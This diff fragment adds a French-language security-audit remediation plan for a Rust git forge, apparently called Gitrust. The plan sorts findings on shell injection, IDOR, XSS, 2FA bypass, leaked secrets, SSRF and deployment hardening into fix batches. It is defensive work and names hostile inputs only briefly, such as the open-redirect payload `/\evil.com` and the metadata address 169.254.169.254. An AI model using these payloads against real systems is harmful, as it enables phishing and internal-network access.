| 1121 | +| 11 PG bind | CI distante n’atteint plus 5432 | rétablir le bind dans un overlay compose, **pas** dans le défaut | | |
| 1122 | + | |
| 1123 | +Yank + patch `1.0.2` selon [RUSTWARDEN_EVOLUTION_PROCESS.md](../RUSTWARDEN_EVOLUTION_PROCESS.md) § rollback 24h/48h. | |
| 1124 | + | |
| 1125 | +--- | |
| 1126 | + | |
| 1127 | +## Changelog de planification | |
| 1128 | + | |
| 1129 | +- 2026-09-17 : plan initial. Écarts vs catalogue Gitrust : logout SSR déjà OK ici ; E-2 déjà OK pour rustwarden-ui ; ajouts fail-open force-2FA, 2FA sans rate-limit IP, bootstrap admin, `sanitize_redirect`, placeholder CLI, PG compose. | |
| 1130 | +- 2026-09-17 (Architect, APPROVE WITH CHANGES) : Task 0 ConnectInfo ; anti-rejeu TOTP in-process en 1.0.1 ; Task 4 → 503 pas `?` ; Task 8 validation seulement à la création ; RFC 0037 step+`rows_affected` ; RFC 0039 capture Arc pas Extension ; Evilginx live en Non-goal. | |
| 1131 | +- 2026-09-17 (Critic APPROVE WITH CHANGES) : nits clippy `_headers`, Expanded Test Plan `CHANGE-ME` accepté, helpers Task 4 nommés, rollback restaure les appels handler, `evict_if_full` follow-up possible sur `check_window`. |
A
docs/remediation_audit_securite_ad2eec33.plan.md
+319
-0
@@ -0,0 +1,319 @@
| 1 | +--- | |
| 2 | +name: Remediation audit securite | |
| 3 | +overview: Plan de remédiation de tous les constats nommés de l’audit (C/E/M + scénarios A–E, faibles en lots), avec solution concrète, apport sécurité, et cible Gitrust vs Rustwarden selon le processus d’évolution (workaround local → UPSTREAM_RUSTWARDEN.md → RFC ou PR, jamais de patch dans la copie vendored). | |
| 4 | +todos: | |
| 5 | + - id: lot0-secrets | |
| 6 | + content: "Lot 0 : rotation secrets, .env.test.example, gitignore dump SQL, JWT placeholder + garde main.rs / deploy.sh (C-4 à C-8, Scénario E)" | |
| 7 | + status: completed | |
| 8 | + - id: lot1-username-rce | |
| 9 | + content: "Lot 1 : newtype Username Gitrust, argv natif ci_worker, containment on_user_deleted, supprimer create_dir_all brut (M-1, C-1, C-2, E-13)" | |
| 10 | + status: completed | |
| 11 | + - id: lot2-authz | |
| 12 | + content: "Lot 2 : can_manage merge_pull, can_push dans ResolvedRepo/ApiRepoContext, scopes PAT, IDOR labels/CI/teams (C-3, E-7 à E-11, M-12, M-13)" | |
| 13 | + status: completed | |
| 14 | + - id: lot3-xss | |
| 15 | + content: "Lot 3 : data-* à la place des onclick/onsubmit, charset labels, override CSP (E-5, E-6, M-10)" | |
| 16 | + status: in_progress | |
| 17 | + - id: lot4-authn | |
| 18 | + content: "Lot 4 : fail-closed 2FA, rate limit login/2FA, email vérifié, complexité MDP, OnceLock reset, logout blacklist (E-1 à E-4, M-2 à M-11)" | |
| 19 | + status: pending | |
| 20 | + - id: lot5-git-ci | |
| 21 | + content: "Lot 5 : bump russh, timeouts git, isolation CI, 404 uniforme, SSRF, ssh-guard caps (E-12, E-14, E-19, M-14 à M-19, M-24)" | |
| 22 | + status: pending | |
| 23 | + - id: lot6-deploy | |
| 24 | + content: "Lot 6 : chmod 600, APP_DEBUG, nginx LE, PG bind, systemd, Docker, setup-remote-ci (E-15 à E-18, M-20 à M-23, M-25)" | |
| 25 | + status: pending | |
| 26 | + - id: upstream-rfcs | |
| 27 | + content: "Catalogue rustwarden : PRs Security (E-3, C-7, M-3, M-8) + RFCs (M-1, M-5, M-7, M-10, E-4) documentées dans UPSTREAM_RUSTWARDEN.md" | |
| 28 | + status: pending | |
| 29 | + - id: lot7-hygiene | |
| 30 | + content: "Lot 7 : paquets F-AUTH / F-UI / F-OPS (faibles et info regroupés)" | |
| 31 | + status: pending | |
| 32 | +isProject: false | |
| 33 | +--- | |
| 34 | + | |
| 35 | +# Plan de remédiation — audit sécurité Gitrust | |
| 36 | + | |
| 37 | +Document source : [docs/SECURITY_AUDIT.md](docs/SECURITY_AUDIT.md). Livrable d’implémentation (après validation) : [docs/plans/security-audit-remediation.md](docs/plans/security-audit-remediation.md), plus mises à jour de [docs/UPSTREAM_RUSTWARDEN.md](docs/UPSTREAM_RUSTWARDEN.md) pour chaque gap framework. | |
| 38 | + | |
| 39 | +**Règle de frontière (non négociable)** : ne jamais modifier `crates/rustwarden-core/`. Un `update-project` écrase tout écart. Les correctifs framework se font dans le dépôt Rustwarden (`~/Documents/devel/Rustwarden`), puis resynchro. En attendant : **workaround Gitrust + entrée datée dans `UPSTREAM_RUSTWARDEN.md`**. | |
| 40 | + | |
| 41 | +```mermaid | |
| 42 | +flowchart TD | |
| 43 | + finding[Constat audit] | |
| 44 | + finding --> where{Où vit le code fautif ?} | |
| 45 | + where -->|gitrust-* / src / deployment| gitrust[Correctif direct Gitrust] | |
| 46 | + where -->|rustwarden-core| gap{Changement d API publique, defaut, schema ou politique secu ?} | |
| 47 | + gap -->|Non: bug interne, dep bump, tests| pr[PR directe upstream patch Security] | |
| 48 | + gap -->|Oui| rfc[RFC docs/rfcs/NNNN-slug.md] | |
| 49 | + rfc --> score[Grille 7 criteres min 25/35] | |
| 50 | + score --> impl[PR d implementation dans le depot Rustwarden] | |
| 51 | + pr --> impl | |
| 52 | + impl --> sync["update-project + bump .rustwarden-version"] | |
| 53 | + gitrust --> workaround{Le framework devrait aussi le garantir ?} | |
| 54 | + workaround -->|Oui| doc[Workaround documente + RFC/PR] | |
| 55 | + workaround -->|Non logique forge| done[Termine cote Gitrust] | |
| 56 | +``` | |
| 57 | + | |
| 58 | +## Règle de classement (rappel processus) | |
| 59 | + | |
| 60 | +D’après [docs/RUSTWARDEN_EVOLUTION_PROCESS.md](docs/RUSTWARDEN_EVOLUTION_PROCESS.md) §2 et §11.3 : | |
| 61 | + | |
| 62 | +- **Gitrust seul** : bug/logique métier forge, templates, CI, SSH, déploiement. | |
| 63 | +- **Workaround Gitrust immédiat** : le gap est dans le framework, mais on peut se protéger sans le modifier (valider avant l’appel, `OnceLock`, header CSP override, `register_protected_prefix`). | |
| 64 | +- **PR rustwarden (pas de RFC)** : bug sans changement d’API, bump de dépendance, refactor interne, tests, doc. Les patches **Security** ont une fenêtre d’adoption de 14 jours. | |
| 65 | +- **RFC obligatoire** : item `pub`, comportement par défaut, migration DB, format sérialisé, **politique de sécurité**, nouveau service/middleware. | |
| 66 | + | |
| 67 | +--- | |
| 68 | + | |
| 69 | +## Cartographie des scénarios → constats | |
| 70 | + | |
| 71 | +Chaque scénario est une **chaîne** : on ferme la chaîne en traitant tous les constats listés, pas seulement le premier. | |
| 72 | + | |
| 73 | +- **Scénario A — De l’inscription à la RCE sur l’hôte** : M-1 + E-13 + C-1 (et C-2 en variante destruction). Apport : un compte lambda ne peut plus exécuter de commande sur le processus `gitrust`. | |
| 74 | +- **Scénario B — Écrire dans le dépôt d’un tiers** : C-3 + E-7 + E-8. Apport : l’intégrité Git n’est plus contournable via l’API ou un PAT « lecture ». | |
| 75 | +- **Scénario C — XSS stockée chez le mainteneur / l’admin** : E-5 + E-6 + M-1 + M-10. Apport : le contenu utilisateur n’est plus interprété comme du JavaScript inline. | |
| 76 | +- **Scénario D — Contournement du second facteur** : E-1 + E-2 + E-3 (+ M-7, M-8 en renforcement). Apport : le 2FA redevient une barrière, pas un délai. | |
| 77 | +- **Scénario E — Compromission admin par mot de passe trivial / secrets livrés** : C-4 + C-5 + C-6 + C-7 + C-8. Apport : plus de prise de contrôle à la première tentative ni de forge de JWT avec un secret public. | |
| 78 | + | |
| 79 | +--- | |
| 80 | + | |
| 81 | +## Lot 0 — Secrets et hygiène Git (Scénario E) | |
| 82 | + | |
| 83 | +**Cible : Gitrust + actions opérateur. Aucun code rustwarden.** Ne pas committer de secrets ; rotation hors dépôt. | |
| 84 | + | |
| 85 | +- **C-4** — Secrets de prod dans l’historique (`.env.gitrustmule`, commits `91ff499` / `20dbf23`). | |
| 86 | + - Solution : rotation immédiate de `JWT_SECRET`, mot de passe PG, `ADMIN_PASSWORD`, `SMTP_PASSWORD` sur prod **et** démo ; purge `refresh_tokens` / `sessions` ; puis arbitrage `git filter-repo` (coût : tous les clones à recréer). | |
| 87 | + - Apport : un clone du dépôt ne permet plus de forger un JWT admin ni d’ouvrir la base. | |
| 88 | +- **C-5** — `.env.test` versionné avec secrets de prod. | |
| 89 | + - Solution : `git rm --cached .env.test` ; `.env.test.example` à valeurs ostensiblement factices ; `.gitignore` ; rotation `OAUTH_ENCRYPTION_KEY` et mot de passe PG (identiques à la prod d’après l’audit). | |
| 90 | + - Apport : plus de mot de passe de production dans le dépôt suivi. | |
| 91 | +- **C-6** — `ADMIN_PASSWORD=password` dans 4 fichiers locaux. | |
| 92 | + - Solution : générer un mot de passe fort ; laisser vide pour que le framework génère (déjà prévu si absent) ; ne jamais versionner `.env.production`. | |
| 93 | + - Apport : ferme le Scénario E (login admin trivial). | |
| 94 | +- **C-7** — Placeholder `JWT_SECRET=REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` (36 car.) accepté + `deploy.sh` le promeut. | |
| 95 | + - **Gitrust** : vider la valeur dans `.env.example` ; `deploy.sh` **échoue** s’il n’y a pas de `.env.production` ; garde dans `src/main.rs` refusant les marqueurs `REMPLACER`/`CHANGE`/`EXAMPLE`/`TODO`. | |
| 96 | + - **Rustwarden PR (pas de RFC)** : ajouter ce placeholder à `KNOWN_EXAMPLES` dans `config/auth.rs` (hardening de liste, pas de changement d’API). Documenter dans `UPSTREAM_RUSTWARDEN.md` en attendant le bump. | |
| 97 | + - Apport : une instance déployée « selon le README » ne démarre plus avec un secret public. | |
| 98 | +- **C-8** — Dump SQL 22 Mo non gitignoré. | |
| 99 | + - Solution : déplacer hors arborescence, `chmod 600` ; `.gitignore` : `*.sql`, `/Services/` ; éventuellement hook pre-commit taille max. | |
| 100 | + - Apport : un `git add .` ne publie plus la base utilisateurs. | |
| 101 | + | |
| 102 | +--- | |
| 103 | + | |
| 104 | +## Lot 1 — Username + RCE + FS (Scénario A) | |
| 105 | + | |
| 106 | +Cause racine unique : **M-1**. Un newtype Gitrust + argv natif ferment C-1/C-2/E-13/E-6 même avant le fix framework. | |
| 107 | + | |
| 108 | +- **M-1** — `username` non validé. | |
| 109 | + - **Gitrust immédiat** : newtype `Username` calqué sur [crates/gitrust-core/src/types.rs](crates/gitrust-core/src/types.rs) (`RepoSlug`) : `^[a-z0-9-]{3,39}$`, pas de `--`, pas de tiret en tête/queue, noms réservés (`admin`, `api`, `login`, `settings`, `explore`, …). Appliquer dans `register_submit`, `admin_users`, `update_profile` (avant l’appel framework), et durcir `compute_disk_path` (charset owner). | |
| 110 | + - **Rustwarden RFC** : validation charset dans `UserService::create_user` + `RegisterRequest` (changement de **comportement par défaut** + politique de sécu → RFC obligatoire). Workaround Gitrust documenté jusqu’au merge + `update-project`. | |
| 111 | + - Apport : plus de métacaractères shell, traversée, homoglyphes, collision de routes, XSS via username. | |
| 112 | +- **C-1** — `sh -c` dans [ci_worker.rs](crates/gitrust-core/src/services/ci_worker.rs) `prepare_workspace`. | |
| 113 | + - **Gitrust seul** : recopier le patron [sbom_service.rs](crates/gitrust-core/src/services/sbom_service.rs) (argv natif `git` | `tar`) ; valider `commit_sha` `^[0-9a-f]{40}$`. | |
| 114 | + - Apport : même username malveillant, plus d’interpolation shell → ferme le Scénario A. | |
| 115 | +- **C-2** — `on_user_deleted` sans validation ([gitrust-hooks/src/lib.rs](crates/gitrust-hooks/src/lib.rs)). | |
| 116 | + - **Gitrust seul** : même filtre que `on_user_registered` + canonicalisation + `starts_with(repos_base_path)` avant `remove_dir_all`. Idéal long terme : dériver le chemin de l’`user_id`. | |
| 117 | + - Apport : un rename de compte ne peut plus effacer un répertoire hors base. | |
| 118 | +- **E-13** — `create_dir_all(&form.username)` dans `register_submit` / `admin_users`. | |
| 119 | + - **Gitrust seul** : supprimer le doublon ; s’appuyer sur le hook `on_user_registered` (déjà validé) après validation `Username`. | |
| 120 | + - Apport : plus de création de répertoire hors arborescence à l’inscription. | |
| 121 | + | |
| 122 | +--- | |
| 123 | + | |
| 124 | +## Lot 2 — Autorisation et IDOR (Scénario B) | |
| 125 | + | |
| 126 | +Correctifs **100 % Gitrust**. Motif : le contrôle existe déjà sur l’autre branche (SSR vs API). | |
| 127 | + | |
| 128 | +- **C-3** — `merge_pull` API sans `can_manage` ([api/pulls.rs](crates/gitrust-web/src/handlers/api/pulls.rs)). | |
| 129 | + - Solution : après `resolve_api_repo`, exiger `can_manage` (aligné sur SSR `pull_requests.rs:494`). | |
| 130 | + - Apport : un Reader / anonyme authentifié ne peut plus écrire dans `main` d’un dépôt public. | |
| 131 | +- **E-7** — 9 handlers d’écriture gardés par la lecture seule. | |
| 132 | + - Solution structurante : ajouter `can_push` / `can_manage` à `ResolvedRepo` ([helpers.rs](crates/gitrust-web/src/helpers.rs)) et `ApiRepoContext` ([api/repos.rs](crates/gitrust-web/src/handlers/api/repos.rs)) ; politique forge : close/reopen = auteur **ou** `can_push` ; commenter / créer PR / créer issue = `can_push` (issues publiques : choix produit explicite). | |
| 133 | + - Apport : plus de vandalisme issues/PR sur les dépôts publics. | |
| 134 | +- **E-8** — Scopes PAT décoratifs ([api_auth.rs](crates/gitrust-web/src/extractors/api_auth.rs), [git_http.rs](crates/gitrust-web/src/handlers/git_http.rs)). | |
| 135 | + - Solution : porter `scopes` dans `ApiUser` ; `require_api_write()` sur mutations ; `GitWrite` strict pour `git-receive-pack` ; cases à cocher à la création de PAT (aujourd’hui `DEFAULT_SCOPES` = tout). | |
| 136 | + - Apport : un jeton « lecture » fuité n’autorise plus le push ni l’API d’écriture. | |
| 137 | +- **E-9** — IDOR labels (`find_by_id` nu). | |
| 138 | + - Solution : `LabelService::{update,delete}_for_owner(owner_id, repo_id, label_id)` avec filtre SQL (patron déjà dans `issue_labels.rs`). | |
| 139 | + - Apport : un Maintainer de son bac à sable ne peut plus détruire les labels d’un tiers. | |
| 140 | +- **E-10 / E-11** — IDOR pipelines / variables CI SSR (l’API est déjà correcte). | |
| 141 | + - Solution : comparer `pipeline.repository_id` / scope de variable à `resolved.repo.id` ; idéalement `find_pipeline_in_repo` / `delete_in_scope`. | |
| 142 | + - Apport : plus de lecture de logs (secrets) ni sabotage CI cross-dépôt. | |
| 143 | +- **M-12** — Labels arbitraires à la création d’issue. | |
| 144 | + - Solution : intersecter `form.label_ids` avec `list_all_for_repo` (comme `issue_labels.rs:56`). | |
| 145 | + - Apport : plus de fuite de libellés privés (clients, embargo). | |
| 146 | +- **M-13** — `team_id` non borné au propriétaire. | |
| 147 | + - Solution : vérifier `team.owner_id == repo.owner_id` avant `share_with`. | |
| 148 | + - Apport : un Maintainer temporaire ne peut plus laisser une backdoor d’équipe. | |
| 149 | + | |
| 150 | +--- | |
| 151 | + | |
| 152 | +## Lot 3 — XSS navigateur (Scénario C) | |
| 153 | + | |
| 154 | +**Gitrust** pour les templates ; **Rustwarden RFC** pour la CSP par défaut. | |
| 155 | + | |
| 156 | +- **E-5** — `onclick="… '{{ label.name }}'"` ([issue_detail.html](crates/gitrust-web/templates/repository/issue_detail.html), [labels_suggest.html](crates/gitrust-web/templates/fragments/labels_suggest.html)). | |
| 157 | + - Solution : `data-label-name` + délégation d’événement JS ; `validate_label_name` charset sûr. | |
| 158 | + - Apport : un auteur d’issue ne peut plus exécuter du JS chez le mainteneur. | |
| 159 | +- **E-6** — `onsubmit` avec `username` / `owner/slug` ([user_detail.html](crates/gitrust-web/templates/admin/user_detail.html), [settings.html](crates/gitrust-web/templates/repository/settings.html)). | |
| 160 | + - Solution : même patron `data-expected` ; fermé aussi par M-1. | |
| 161 | + - Apport : un compte fraîchement inscrit ne pwn plus l’admin à l’ouverture de sa fiche. | |
| 162 | +- **M-10** — CSP `unsafe-inline` + `unsafe-eval` ([rustwarden-core/src/app.rs](crates/rustwarden-core/src/app.rs)). | |
| 163 | + - **Gitrust workaround** : `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)` après le middleware framework ; retirer `'unsafe-eval'` tout de suite ; extraire les 7 `<script>` inline vers `static/js/` puis retirer `'unsafe-inline'`. | |
| 164 | + - **Rustwarden RFC** : changement de **politique de sécurité par défaut** (CSP). Alternative : API `security_headers_config` additive (non-breaking, score grille plus haut). | |
| 165 | + - Apport : même XSS future ne s’exécute plus (défense en profondeur du Scénario C). | |
| 166 | + | |
| 167 | +--- | |
| 168 | + | |
| 169 | +## Lot 4 — Authentification et 2FA (Scénario D) | |
| 170 | + | |
| 171 | +Mix Gitrust immédiat / PR ou RFC rustwarden. | |
| 172 | + | |
| 173 | +- **E-1** — Fail-open TOTP dans [auth.rs](crates/gitrust-web/src/handlers/auth.rs) (et `force_2fa_check` `unwrap_or(false)`). | |
| 174 | + - **Gitrust seul** : `Err` → page d’erreur, pas de JWT. Même fail-closed dans le middleware. | |
| 175 | + - Apport : une saturation PG ne désactive plus le second facteur. | |
| 176 | +- **E-2** — Pas de rate limit sur `POST /login` SSR. | |
| 177 | + - **Gitrust** : `OnceLock<RateLimitService>` (patron [import.rs](crates/gitrust-web/src/handlers/repository/import.rs)) clés `login_ip:` et `login_user:` ; `limit_req` nginx en défense. | |
| 178 | + - **Rustwarden RFC (optionnelle, plus tard)** : exposer le limiteur auth aussi sur les routes browser, pas seulement `/api/v1/auth/login`. En attendant le workaround suffit. | |
| 179 | + - Apport : brute-force et DoS bcrypt bornés ; réduit la capacité à provoquer E-1. | |
| 180 | +- **E-3** — Anti-brute-force TOTP compte les challenges saturés *(upstream)*. | |
| 181 | + - **Gitrust palliatif** : rate limit `totp:<user_id>` + IP sur `POST /login/2fa`. | |
| 182 | + - **Rustwarden PR Security (pas de RFC)** : bug interne, signatures inchangées — sommer `attempts` sur 15 min, plafond global (ex. 15). Si l’on considère que c’est un changement de politique, RFC courte ; recommandation : **PR patch Security** (comportement *voulu* cassé). | |
| 183 | + - Apport : plus de 4 essais × N challenges illimités (Scénario D). | |
| 184 | +- **E-4** — Login SSR ignore `EMAIL_VALIDATION_REQUIRED` ; register n’envoie pas le mail. | |
| 185 | + - **Gitrust** : après `authenticate_user`, lire `AppSettingsService::get_bool(..., "validation_email_required")` et bloquer si `!email_verified` ; à l’inscription appeler `EmailValidationService::send_validation_email` (service déjà utilisé). Attention : admin bootstrap est `email_verified=false` — prévoir exception ou le marquer vérifié à la création. | |
| 186 | + - **Rustwarden RFC** si l’on veut que `AuthService::authenticate_user` refuse les emails non vérifiés **par défaut** (changement de comportement pour toutes les apps). Workaround Gitrust d’abord. | |
| 187 | + - Apport : plus de comptes usurpateurs d’email opérationnels immédiatement. | |
| 188 | +- **M-2** — Politique mot de passe absente à l’inscription / reset. | |
| 189 | + - **Gitrust** : appeler `validate_password_complexity` avant `hash_password` dans `register_submit` et `reset_password_submit`. | |
| 190 | + - **Rustwarden PR/RFC** : `PasswordResetService::reset_password` doit valider lui-même (le commentaire « Validate and hash » est mensonger). PR si on considère un bug ; RFC si nouveau contrat public. | |
| 191 | + - Apport : plus de mot de passe `a` via « mot de passe oublié », y compris admin. | |
| 192 | +- **M-3** — Rate limit email inerte (nouvelle instance par requête). | |
| 193 | + - **Gitrust** : `OnceLock<PasswordResetService>` / `EmailValidationService` + limiteur IP. | |
| 194 | + - **Rustwarden PR** : limiteur partagé (static / injecté) — bug interne, pas d’API publique nécessairement. Documenter le workaround. | |
| 195 | + - Apport : plus de flood SMTP / harcèlement par reset. | |
| 196 | +- **M-4** — Pas de ré-auth pour 2FA off, email, clé SSH, PAT. | |
| 197 | + - **Gitrust** : exiger `current_password` (et TOTP si actif) sur ces POST. Logique métier forge/UI. | |
| 198 | + - Apport : un cookie volé ne suffit plus à prendre le compte définitivement. | |
| 199 | +- **M-5** — Changement d’email conserve `email_verified` *(upstream)*. | |
| 200 | + - **Gitrust palliatif** : si un handler Gitrust change l’email, forcer `email_verified=false` via API existante si possible ; sinon ne pas exposer le changement d’email tant que le framework n’est pas corrigé. | |
| 201 | + - **Rustwarden RFC** : flux confirmation nouvelle adresse + alerte ancienne (comportement + probablement table/pending). Obligatoire RFC. | |
| 202 | + - Apport : plus de vol de compte par substitution d’email « déjà vérifié ». | |
| 203 | +- **M-6** — Logout SSR ne blacklist pas le JWT. | |
| 204 | + - **Gitrust** : appeler `JwtBlacklistService` (déjà utilisé par le logout API framework). | |
| 205 | + - Apport : « se déconnecter » sur un poste public coupe l’accès en cours. | |
| 206 | +- **M-7** — Pas d’anti-rejeu TOTP *(upstream, schéma DB)*. | |
| 207 | + - **Gitrust palliatif** : mémoriser `(user_id, hash(code))` 90 s dans un `RateLimitService` statique. | |
| 208 | + - **Rustwarden RFC** : colonne `last_used_step` → **RFC obligatoire** (migration). | |
| 209 | + - Apport : un code intercepté (Evilginx) n’est plus rejouable. | |
| 210 | +- **M-8** — `bcrypt::verify` synchrone sur backup codes *(upstream)*. | |
| 211 | + - **Gitrust palliatif** : couvert par le rate limit E-3/E-2. | |
| 212 | + - **Rustwarden PR** : `spawn_blocking` + comparaison sans court-circuit. Pas de RFC (interne). | |
| 213 | + - Apport : plus de DoS du runtime Tokio via `/login/2fa`. | |
| 214 | +- **M-9** — Squat d’empreinte SSH + oracle. | |
| 215 | + - **Gitrust** : message d’erreur indistinguable ; idéalement preuve de possession (défi signé). Auth SSH : lier username présenté ↔ owner de la clé. | |
| 216 | + - Apport : un attaquant ne peut plus bloquer la clé GitHub d’une victime ni l’usurper en SSH. | |
| 217 | +- **M-11** — Open redirect `/\evil.com`. | |
| 218 | + - **Gitrust** : normaliser `\` → `/` avant le test `starts_with('/') && !starts_with("//")`. | |
| 219 | + - Apport : plus de phishing post-login depuis une URL gitrust légitime. | |
| 220 | + | |
| 221 | +--- | |
| 222 | + | |
| 223 | +## Lot 5 — Git, SSH, CI, DoS | |
| 224 | + | |
| 225 | +**100 % Gitrust** (crates git/ssh/ssh-guard/core). | |
| 226 | + | |
| 227 | +- **E-12** — CVE russh 0.58 pré-auth. | |
| 228 | + - Solution : `russh` / `russh-cryptovec` ≥ 0.60.3 ; adapter `Handler` si l’API a bougé ; `cargo audit --deny warnings` dans Dagger. Bumps `h2`, `rustls`, `bcrypt`, `quick-xml`, `ammonia` (hygiène ; ammonia non exploitable ici). | |
| 229 | + - **Rustwarden PR** : bump `bcrypt` / `rustls` / `h2` dans le `Cargo.toml` framework (dépendances transitives). Gitrust peut quand même forcer via `[patch]` temporaire — à éviter ; préférer bump workspace + PR upstream pour bcrypt. | |
| 230 | + - Apport : plus de DoS mémoire anonyme sur :2222. | |
| 231 | +- **E-14** — Pas de timeout / limite pack. | |
| 232 | + - Solution : `tokio::time::timeout` autour de `child.wait()` ; `DefaultBodyLimit` sur routes git ; `receive.maxInputSize` / `receive.fsckObjects`. | |
| 233 | + - Apport : un client ne peut plus saturer CPU/disque par un receive-pack infini. | |
| 234 | +- **E-19** — Runner CI colocalisé (`CI_REMOTE_HOST=localhost` par défaut). | |
| 235 | + - Solution : si `APP_DEBUG=false`, refuser `localhost` ou warn fatal ; `env -i` pour `dagger call` ; doc opérateur : runner séparé, pas de socket Docker sur l’hôte forge. | |
| 236 | + - Apport : le code CI d’un tenant n’est plus root sur la machine qui tient les dépôts privés. | |
| 237 | +- **M-14** — Oracle 401 vs 404 (web + git). | |
| 238 | + - Solution : 404 uniforme pour « inaccessible » ; redirect login seulement si cookie de session *présent*. | |
| 239 | + - Apport : plus d’énumération de noms de dépôts privés. | |
| 240 | +- **M-15** — Env git héritée. | |
| 241 | + - Solution : `env_clear()` + PATH/HOME minimaux ; binaire git en chemin absolu. | |
| 242 | + - Apport : `LD_PRELOAD` / `GIT_CONFIG` du process ne fuite plus vers le pack protocol. | |
| 243 | +- **M-16** — SSRF import (DNS rebinding / redirects). | |
| 244 | + - Solution : résoudre, valider **toutes** les IP, pinner ; re-valider les `Location:` ; couvrir `fe80::/10` et IPv4-mapped. | |
| 245 | + - Apport : un import ne peut plus viser 169.254.169.254. | |
| 246 | +- **M-17** — Markdown/syntect sans plafond. | |
| 247 | + - Solution : cap body issue/PR/commentaire (64–256 KiB) ; timeout / fallback texte au-delà d’un seuil de highlight. | |
| 248 | + - Apport : plus de DoS CPU à l’affichage d’une issue. | |
| 249 | +- **M-18 / M-19** — Store ssh-guard non borné ; `MAX_CONCURRENT_PER_IP` jamais branché. | |
| 250 | + - Solution : cap LRU sur le `Vec` d’événements ; brancher le compteur dans le listener. | |
| 251 | + - Apport : flood SSH ne fait plus exploser la RAM ; limite de connexions effective. | |
| 252 | +- **M-24** — `rm -rf` distant CI jamais awaité. | |
| 253 | + - Solution : awaiter le cleanup ; workspace imprévisible par pipeline. | |
| 254 | + - Apport : plus de fuite de code entre tenants sur le runner partagé. | |
| 255 | + | |
| 256 | +--- | |
| 257 | + | |
| 258 | +## Lot 6 — Déploiement et durcissement opérateur | |
| 259 | + | |
| 260 | +**Gitrust / ops uniquement.** | |
| 261 | + | |
| 262 | +- **E-15** — `.env` distant pas en `600` : `chmod 600` + `chown gitrust` après rsync dans [deploy.sh](deployment/deploy.sh). | |
| 263 | +- **E-16** — `APP_DEBUG=true` en prod : `false` + `COOKIE_SECURE=true` ; refuse de démarrer si HTTPS public + debug. | |
| 264 | +- **E-17** — snakeoil nginx : Let’s Encrypt par défaut, snakeoil commenté, doc certbot. | |
| 265 | +- **E-18** — PG `0.0.0.0:5432` + `pass3ord` : `127.0.0.1:5432` + `${POSTGRES_PASSWORD:?}`. | |
| 266 | +- **M-20** — `curl | sh` / `source .env` : SHA épinglés, parse `KEY=value` sans shell. | |
| 267 | +- **M-21** — systemd : retirer `CAP_NET_BIND_SERVICE` ; ajouter bounding set, seccomp, `MemoryMax`. | |
| 268 | +- **M-22 / M-23** — Docker : épingler images, Syft versionnée, healthcheck, retirer `DATABASE_URL` du `ENV` image. | |
| 269 | +- **M-25** — `deployment/root@gitrust.ebii.fr` : `git rm` + ignore `deployment/*@*`. | |
| 270 | + | |
| 271 | +Apport global du lot : une instance déployée par un tiers n’écoute plus Postgres sur Internet, n’envoie plus de cookies en clair, n’installe plus de binaires non vérifiés. | |
| 272 | + | |
| 273 | +--- | |
| 274 | + | |
| 275 | +## Lot 7 — Faibles / info (regroupés) | |
| 276 | + | |
| 277 | +Pas de ticket unitaire : trois paquets, après les lots 0–6. | |
| 278 | + | |
| 279 | +**F-AUTH (Gitrust + 2 RFC)** | |
| 280 | +`must_change_password` ignoré en SSR (`register_protected_prefix("/dashboard")` etc., lié au plan [rustwarden-a3-protected-prefixes-migration.md](docs/plans/rustwarden-a3-protected-prefixes-migration.md)) · 2FA obligatoire vs API (jeton d’enrôlement) · `POST /logout` + CSRF · rotation refresh avec grâce · scopes PAT UI (déjà E-8) · `session.cycle_id()` · complexité admin bootstrap (**Rustwarden PR** `AdminConfig`) · reset password révoque PAT/SSH. | |
| 281 | + | |
| 282 | +**F-UI** | |
| 283 | +CSRF manquant sur le form delete user (403 aujourd’hui — bug fonctionnel) · XSS `confirm()` rôle admin · couleur label hexdigits · `allowed_classes` Markdown · `Cache-Control: no-store` dépôts privés · secrets CI masqués dans l’API JSON · COOP/CORP (**Rustwarden RFC** en-têtes, ou override Gitrust). | |
| 284 | + | |
| 285 | +**F-OPS** | |
| 286 | +`deploy_ebii.conf` gitignoré · `.dockerignore` `.env*` · `RUST_LOG=info` · journal d’audit chaîné ou export append-only · `gitleaks`/`trufflehog` + `cargo audit` bloquant Dagger. | |
| 287 | + | |
| 288 | +--- | |
| 289 | + | |
| 290 | +## Catalogue upstream à ouvrir (ordre) | |
| 291 | + | |
| 292 | +Documenter chaque entrée dans `UPSTREAM_RUSTWARDEN.md` *avant* d’implémenter le workaround, avec date, constat, et lien RFC/PR. | |
| 293 | + | |
| 294 | +1. **PR Security** — TOTP : compter les tentatives (E-3). | |
| 295 | +2. **PR Security** — `KNOWN_EXAMPLES` + placeholder Gitrust (C-7). | |
| 296 | +3. **PR** — `spawn_blocking` backup codes (M-8) ; rate limiter email partagé (M-3) ; `PasswordResetService` appelle la complexité (M-2, si traité comme bug). | |
| 297 | +4. **PR** — bumps `bcrypt` / `rustls` / `h2` (E-12 collatéral). | |
| 298 | +5. **RFC** — Validation charset `username` dans `UserService` / `RegisterRequest` (M-1) — **politique de sécu + défaut**. | |
| 299 | +6. **RFC** — CSP configurable / sans `unsafe-eval` (M-10). | |
| 300 | +7. **RFC** — Changement d’email avec revalidation (M-5) — **schéma/flow**. | |
| 301 | +8. **RFC** — `last_used_step` TOTP (M-7) — **migration**. | |
| 302 | +9. **RFC (plus tard)** — `AuthService` respecte `validation_email_required` (E-4) ; limiteur login sur canal browser (E-2) ; en-têtes COOP. | |
| 303 | + | |
| 304 | +Gitrust n’attend **pas** ces RFC pour se protéger : les workarounds des lots 1–4 ferment les scénarios A–D. | |
| 305 | + | |
| 306 | +--- | |
| 307 | + | |
| 308 | +## Ordre d’exécution recommandé | |
| 309 | + | |
| 310 | +1. Lot 0 (rotation + gitignore) — **avant toute démo**. | |
| 311 | +2. Lot 1 (username + `sh -c` + hooks) — ferme Scénario A. | |
| 312 | +3. Lot 2 C-3 puis E-7/E-8/IDOR — ferme Scénario B. | |
| 313 | +4. Lot 3 XSS + CSP override — ferme Scénario C. | |
| 314 | +5. Lot 4 E-1/E-2 + palliatifs TOTP — ferme Scénario D. | |
| 315 | +6. Lots 5–6 en parallèle (russh, deploy). | |
| 316 | +7. RFCs / PRs rustwarden + `update-project`. | |
| 317 | +8. Lot 7. | |
| 318 | + | |
| 319 | +Vérification par lot : tests unitaires du scénario (username rejeté, `prepare_workspace` sans shell, `merge_pull` 403 sans `can_manage`, templates sans interpolation JS) ; `cargo clippy --workspace -- -D warnings` ; `cargo audit`. |
A
docs/rfcs/0036-username-charset-validation.md
+364
-0
